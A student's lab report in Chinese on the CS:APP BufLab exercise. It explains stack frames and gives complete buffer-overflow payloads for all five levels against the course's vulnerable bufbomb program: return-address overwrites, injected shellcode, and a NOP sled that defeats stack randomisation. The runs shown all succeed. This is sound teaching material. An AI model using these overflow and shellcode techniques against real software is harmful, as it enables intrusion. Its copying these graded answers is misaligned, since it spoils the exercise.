《计算机系统》

BufLab 实验报告

班级：软件 2203

学号：202226010306

姓名：白旭

目录

1 实验项目四

1.1 项目名称

Buf Lab

1.2 实验目的

（1） 熟悉 gcc、gdb 和 objdump 的使用；

（2） 理解程序栈帧的结构；

（3） 理解缓冲区溢出的原理。

1.3 实验资源

（1） BufLab 实验包；

（2） Ubuntu 16.04 32 位版本虚拟机；

（3） gcc、gdb、obidump。

2 实验任务

2.1 Level 0

(1)任务目标

让 BUFBOMB 在 getbuf 执行其 return 语句时执行 smoke 的代码，而不是返回 test

(2)具体分析

```
//Gets()从输入流中获取一个字符串，并将其存储到其目标地址（buf）
#define NORMAL_BUFFER_SIZE 32
int getbuf()
{
    char buf[NORMAL_BUFFER_SIZE];
    Gets(buf);
    return 1;
}

//test()用于测试getbuf()
void test()
{
    int val;
    /* Put canary on stack to detect possible corruption */
    //将 Canary 放在堆栈上以检测可能的损坏
    volatile int local = uniqueval();
    val = getbuf();
    /* Check for corrupted stack */
    if (local != uniqueval()) {
        printf("Sabotaged!: the stack has been corrupted\n");
    }
    else if (val == cookie) {
        printf("Boom!: getbuf returned 0x%x\n", val);
        validate(3);
    } else {
                printf("Dud: getbuf returned 0x%x\n", val);
    }
}
```

先使用 objdump -d -l bufbomb > bufbomb1.s 进行反汇编

```
void smoke()
{
    printf("Smoke!: You called smoke()\n");
    validate(0);
    exit(0);
}

line811
08049262 <getbuf>:
 8049262:       55                      push   %ebp
 8049263:       89 e5                   mov    %esp,%ebp
 8049265:       83 ec 38                sub    $0x38,%esp
 8049268:       8d 45 d8                lea    -0x28(%ebp),%eax
 804926b:       89 04 24                mov    %eax,(%esp)             //将ebp-0x28作为参数传递给Gets()
 804926e:       e8 bf f9 ff ff          call   8048c32 <Gets>
 8049273:       b8 01 00 00 00          mov    $0x1,%eax
 8049278:       c9                      leave
 8049279:       c3                      ret
 804927a:       90                      nop
 804927b:       90                      nop
 804927c:       90                      nop
 804927d:       90                      nop
 804927e:       90                      nop
 804927f:       90                      nop
```

要使 getbuf 执行其 return 语句时执行 smoke 的代码，就需要将 getbuf 的返回地址覆盖为 smoke 的地址；

getbuf()返回地址在 ebp+0x04，写入的起始地址为 ebp-0x28，所以应该先把前 44 个字节填满，之后再填入 smoke 地址即可；

此过程会把调用者的 ebp 覆盖掉，但是跳转至 smoke 后会直接退出程序，所以不影响；

smoke()地址:line509 08048e0a 因为存在 0a，会被识别为换行符导致输入终止，所以实际输入地址为 08048e0b；

(3)答案

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 0b 8e 04 08
```

使用 cat 4.txt | ./hex2raw | ./bufbomb -u bx 来完成数据的读入和运行

| (管道符号)：管道符号将前一个命令的输出作为下一个命令的输入

```
baijue@baijue-VirtualBox:~/桌面/CS_codes/buflab/buflab-handout$ cat 0.txt | ./he
x2raw | ./bufbomb -u bx
Userid: bx
Cookie: 0x3c4e4206
Type string:Smoke!: You called smoke()
VALID
NICE JOB!
```

执行成功

2.2 Level 1

(1)任务目标

与 Level 0 相似，任务是让 BUFBOMB 执行 fizz 的代码，而不是返回 test，且将 cookie 作为其参数

(2)具体分析

```
void fizz(int val)
{
    if (val == cookie) {
        printf("Fizz!: You called fizz(0x%x)\n", val);
        validate(1);
    }else
        printf("Misfire: You called fizz(0x%x)\n", val);
    exit(0);
}

line486
08048daf <fizz>:
 8048daf:       55                      push   %ebp
 8048db0:       89 e5                   mov    %esp,%ebp
 8048db2:       83 ec 18                sub    $0x18,%esp
 8048db5:       8b 45 08                mov    0x8(%ebp),%eax   //参数地址为ebp+0x08
 8048db8:       3b 05 04 d1 04 08       cmp    0x804d104,%eax
 8048dbe:       75 26                   jne    8048de6 <fizz+0x37>
 8048dc0:       89 44 24 08             mov    %eax,0x8(%esp)
 8048dc4:       c7 44 24 04 e0 a2 04    movl   $0x804a2e0,0x4(%esp)
 8048dcb:       08
 8048dcc:       c7 04 24 01 00 00 00    movl   $0x1,(%esp)
 8048dd3:       e8 b8 fb ff ff          call   8048990 <__printf_chk@plt>
 8048dd8:       c7 04 24 01 00 00 00    movl   $0x1,(%esp)
 8048ddf:       e8 9c 04 00 00          call   8049280 <validate>
 8048de4:       eb 18                   jmp    8048dfe <fizz+0x4f>
 8048de6:       89 44 24 08             mov    %eax,0x8(%esp)
 8048dea:       c7 44 24 04 d4 a4 04    movl   $0x804a4d4,0x4(%esp)
 8048df1:       08
 8048df2:       c7 04 24 01 00 00 00    movl   $0x1,(%esp)
 8048df9:       e8 92 fb ff ff          call   8048990 <__printf_chk@plt>
 8048dfe:       c7 04 24 00 00 00 00    movl   $0x0,(%esp)
 8048e05:       e8 c6 fa ff ff          call   80488d0 <exit@plt>
```

首先与 level 0 类似，用 fizz 的地址 08048daf 覆盖返回地址；

getbuf return 时会执行 leave 指令(等效于 mov %ebp, %esp 和 pop %ebp)和 ret 指令(等效于 pop %eip)，此时 esp 指向原本返回地址+0x04 的位置；

进入 fizz 后 push %ebp 使 esp 减少 0x04,再将 esp 的值赋给 ebp，则 ebp 指向原本返回地址的位置；

fizz 参数地址为 ebp+0x08,即应在原本返回地址+0x08 的位置输入参数；

bx 对应的 cookie 为 0x3c4e4206；

(3)答案

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 af 8d 04 08
00 00 00 00 06 42 4e 3c
```

```
baijue@baijue-VirtualBox:~/桌面/CS_codes/buflab/buflab-handout$ cat 1.txt | ./he
x2raw | ./bufbomb -u bx
Userid: bx
Cookie: 0x3c4e4206
Type string:Fizz!: You called fizz(0x3c4e4206)
VALID
NICE JOB!
```

执行成功

2.3 Level 2

(1)任务目标

任务是让 BUFBOMB 执行 bang 的代码，而不是返回 test，且将全局变量 global_value 设置为用户 ID 的 cookie

(2)具体分析

```
int global_value = 0;
void bang(int val)
{
    if (global_value == cookie) {
        printf("Bang!: You set global_value to 0x%x\n", global_value);
        validate(2);
    } else
        printf("Misfire: global_value = 0x%x\n", global_value);
    exit(0);
}

line463
08048d52 <bang>:
 8048d52:       55                      push   %ebp
 8048d53:       89 e5                   mov    %esp,%ebp
 8048d55:       83 ec 18                sub    $0x18,%esp
 8048d58:       a1 0c d1 04 08          mov    0x804d10c,%eax  //global_value
 8048d5d:       3b 05 04 d1 04 08       cmp    0x804d104,%eax
 8048d63:       75 26                   jne    8048d8b <bang+0x39>
 8048d65:       89 44 24 08             mov    %eax,0x8(%esp)
 8048d69:       c7 44 24 04 ac a4 04    movl   $0x804a4ac,0x4(%esp)
 8048d70:       08
 8048d71:       c7 04 24 01 00 00 00    movl   $0x1,(%esp)
 8048d78:       e8 13 fc ff ff          call   8048990 <__printf_chk@plt>
 8048d7d:       c7 04 24 02 00 00 00    movl   $0x2,(%esp)
 8048d84:       e8 f7 04 00 00          call   8049280 <validate>
 8048d89:       eb 18                   jmp    8048da3 <bang+0x51>
 8048d8b:       89 44 24 08             mov    %eax,0x8(%esp)
 8048d8f:       c7 44 24 04 c2 a2 04    movl   $0x804a2c2,0x4(%esp)
 8048d96:       08
 8048d97:       c7 04 24 01 00 00 00    movl   $0x1,(%esp)
 8048d9e:       e8 ed fb ff ff          call   8048990 <__printf_chk@plt>
 8048da3:       c7 04 24 00 00 00 00    movl   $0x0,(%esp)
 8048daa:       e8 21 fb ff ff          call   80488d0 <exit@plt>
```

Level 2 不能像前面一样直接用缓冲区攻击来改变 global_value，因为它是全局变量，不在栈中，而是在静态区中，需要自己编写代码改变 global_value 的值，之后再 ret 到 bang 即可；

汇编代码如下：

```
movl $0x3c4e4206,0x804d10c  #修改global_value
push $0x08048d52            #将bang()地址压入栈中
ret                         #ret返回到bang()
```

用如下指令将汇编代码转化为机器码：

```
gcc -m32 -c 2.s
objdump -d -l 2.o > 2.d
```

机器码如下：

```
0:      c7 05 0c d1 04 08 06    movl   $0x3c4e4206,0x804d10c
7:      42 4e 3c
a:      68 52 8d 04 08          push   $0x8048d52
f:      c3                      ret
```

之后考虑如何才能执行这些代码，我们只能在 buf 中输入内容，所以我们只能将代码储存在 buf 中；

只需将 getbuf()的返回地址设置为 buf 的首地址，就可以在 getbuf()返回后执行上述代码，实现任务要求；

在 call Gets 前，%eax 存储的即为 buf 首地址，可以使用 gdb 查询

```
gdb bufbomb
b *0x0804926e  //在call Gets语句处设置断点
r -u bx
p/x $eax
```

得到 buf 首地址为 0x55683d48

(3)答案

```
c7 05 0c d1 04 08 06 42
4e 3c 68 52 8d 04 08 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 48 3d 68 55
```

```
baijue@baijue-VirtualBox:~/桌面/CS_codes/buflab/buflab-handout$ cat 2.txt | ./he
x2raw | ./bufbomb -u bx
Userid: bx
Cookie: 0x3c4e4206
Type string:Bang!: You set global_value to 0x3c4e4206
VALID
NICE JOB!
```

执行成功

2.4 Level 3

(1)任务要求

将 getbuf()的返回值从 1 变成 cookie 值，且正常返回 test

(2)具体分析

```
08048e3c <test>:
 8048e3c:   55                      push   %ebp
 8048e3d:   89 e5                   mov    %esp,%ebp
 8048e3f:   53                      push   %ebx
 8048e40:   83 ec 24                sub    $0x24,%esp
 8048e43:   e8 d0 fd ff ff          call   8048c18 <uniqueval>
 8048e48:   89 45 f4                mov    %eax,-0xc(%ebp)
 8048e4b:   e8 12 04 00 00          call   8049262 <getbuf>  //调用getbuf
 8048e50:   89 c3                   mov    %eax,%ebx         //ret之后应返回的地址
```

将 getbuf()返回值改变，即改变 call Gets 之后 eax 中储存的值；

不能直接用缓冲区覆盖，所以仍需要自己写代码存入缓冲区后执行，与 Level 2 类似；

但 Level 3 要求正常返回 test，所以还需要复原被覆盖的旧的 ebp(test 的 ebp)；

汇编代码如下：

```
movl $0x3c4e4206,%eax  #改变返回值为cookie
push $0x08048e50       #应返回到的地址
ret
```

用如下指令将汇编代码转化为机器码：

```
gcc -m32 -c 3.s
objdump -d -l 3.o > 3.d
```

机器码如下：

```
0:   b8 06 42 4e 3c          mov    $0x3c4e4206,%eax
5:   68 50 8e 04 08          push   $0x8048e50
a:   c3                      ret
```

接下来获取旧的 ebp 值，可以使用 gdb 查询

```
gdb bufbomb
b *0x08048e4b  //在call getbuf语句处设置断点
r -u bx
p/x $ebp
```

得到旧的 ebp 值为 0x55683da0

(3)答案

```
b8 06 42 4e 3c 68 50 8e
04 08 c3 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
a0 3d 68 55 48 3d 68 55
```

```
baijue@baijue-VirtualBox:~/桌面/CS_codes/buflab/buflab-handout$ cat 3.txt | ./he
x2raw | ./bufbomb -u bx
Userid: bx
Cookie: 0x3c4e4206
Type string:Boom!: getbuf returned 0x3c4e4206
VALID
NICE JOB!
```

执行成功

2.5 Level 4

(1)任务要求

Level 4 需要加上 -n 参数运行，此时会进入 testn 和 getbufn 函数而不是 test 和 getbuf 函数；在 Nitro 模式下运行时，BUFBOMB 要求提供 5 次字符串，它将执行 getbufn 5 次，每次都有不同的堆栈偏移量；**我们要用缓冲区攻击使得 getbufn 每次都返回 cookie**

(2)具体分析

```
08048cce <testn>:
 8048cce:   55                      push   %ebp
 8048ccf:   89 e5                   mov    %esp,%ebp
 8048cd1:   53                      push   %ebx
 8048cd2:   83 ec 24                sub    $0x24,%esp  //testn的ebp通过esp算出，应为esp+0x28
 8048cd5:   e8 3e ff ff ff          call   8048c18 <uniqueval>
 8048cda:   89 45 f4                mov    %eax,-0xc(%ebp)
 8048cdd:   e8 62 05 00 00          call   8049244 <getbufn>
 8048ce2:   89 c3                   mov    %eax,%ebx

//getbufn 将缓冲区大小定义为512字节
08049244 <getbufn>:
 8049244:   55                      push   %ebp
 8049245:   89 e5                   mov    %esp,%ebp
 8049247:   81 ec 18 02 00 00       sub    $0x218,%esp
 804924d:   8d 85 f8 fd ff ff       lea    -0x208(%ebp),%eax  //buf的大小为520字节
 8049253:   89 04 24                mov    %eax,(%esp)
 8049256:   e8 d7 f9 ff ff          call   8048c32 <Gets>
 804925b:   b8 01 00 00 00          mov    $0x1,%eax
 8049260:   c9                      leave
 8049261:   c3                      ret
```

运行 getbufn 函数时，会随机在栈上分配一块存储地址；

因此，getbufn 的基址 ebp 是随机变化的，但是又要求我们写的跳转地址是固定的；

所以我们应该在有效代码之前大量填充 nop 指令，让这段地址内的代码都会滑到这段 nop 之后的代码上，由于栈上的机器代码是按地址由低向高顺序执行，要保证五次运行都能顺利执行有效机器代码；

需要满足：跳转地址位于有效机器代码入口地址之前的 nop 机器指令填充区；

这要求尽可能增大 nop 填充区，尽可能使有效机器代码段往后挪；

在 sub $0x218,%esp 处设置断点，查看 5 次执行的 ebp 值：

```
(gdb) b *0x08049247
Breakpoint 1 at 0x8049247
(gdb) r -n -u bx
Starting program: /home/baijue/桌面/CS_codes/buflab/buflab-handout/bufbomb -n -u
 bx
Userid: bx
Cookie: 0x3c4e4206

Breakpoint 1, 0x08049247 in getbufn ()
(gdb) p/x $ebp
$1 = 0x55683d70
(gdb) c
Continuing.
Type string:1
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049247 in getbufn ()
(gdb) p/x $ebp
$2 = 0x55683dd0
(gdb) c
Continuing.
Type string:1
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049247 in getbufn ()
(gdb) p/x $ebp
$3 = 0x55683d60
(gdb) c
Continuing.
Type string:1
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049247 in getbufn ()
(gdb) p/x $ebp
$4 = 0x55683d80
(gdb) c
Continuing.
Type string:1
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049247 in getbufn ()
(gdb) p/x $ebp
$5 = 0x55683d50
```

其中最大的 ebp 值为 0x55683dd0，再减去 0x208，即为最高的 buf 的起始地址为：

0x55683bc8，以此作为返回地址

正常返回 test，还需要复原被覆盖的旧的 ebp(test 的 ebp)，汇编代码如下：

```
movl $0x3c4e4206,%eax    #改变返回值为cookie
lea  0x28(%esp),%ebp     #复原正确的ebp值
push $0x08048ce2         #应返回到的地址
ret
```

机器码如下：

```
0:   b8 06 42 4e 3c          mov    $0x3c4e4206,%eax
5:   8d 6c 24 28             lea    0x28(%esp),%ebp
9:   68 e2 8c 04 08          push   $0x8048ce2
e:   c3                      ret
```

一共需要覆盖的字节数量为 520+4+4=528，其中 15 个字节指令代码，4 个字节返回地址，剩下 509 个字节均用 90(nop)填充

(3)答案

```
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
```

```
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90

b8 06 42 4e 3c 8d 6c 24 28 68
e2 8c 04 08 c3 c8 3b 68 55
```

```
baijue@baijue-VirtualBox:~/桌面/CS_codes/buflab/buflab-handout$ cat 4.txt | ./he
x2raw -n | ./bufbomb -n -u bx
Userid: bx
Cookie: 0x3c4e4206
Type string:KABOOM!: getbufn returned 0x3c4e4206
Keep going
Type string:KABOOM!: getbufn returned 0x3c4e4206
Keep going
Type string:KABOOM!: getbufn returned 0x3c4e4206
Keep going
Type string:KABOOM!: getbufn returned 0x3c4e4206
Keep going
Type string:KABOOM!: getbufn returned 0x3c4e4206
VALID
NICE JOB!
```

执行成功

3 总结

3.1 实验中出现的问题

(1) 一开始对 Level 1 中参数和返回地址为什么要隔四个字节有疑问，后来明白是因为没有通过 ret 正常返回，导致错位；

(2) 对 buf 缓冲区在汇编代码中分配的空间比 C 代码中显示字节数的更多有疑问；

3.2 心得体会

(1) 更加深刻理解了栈帧结构；

(2) 熟练掌握了 objdump、gdb 调试等基础操作；

(3) 对缓冲区攻击有了直观理解；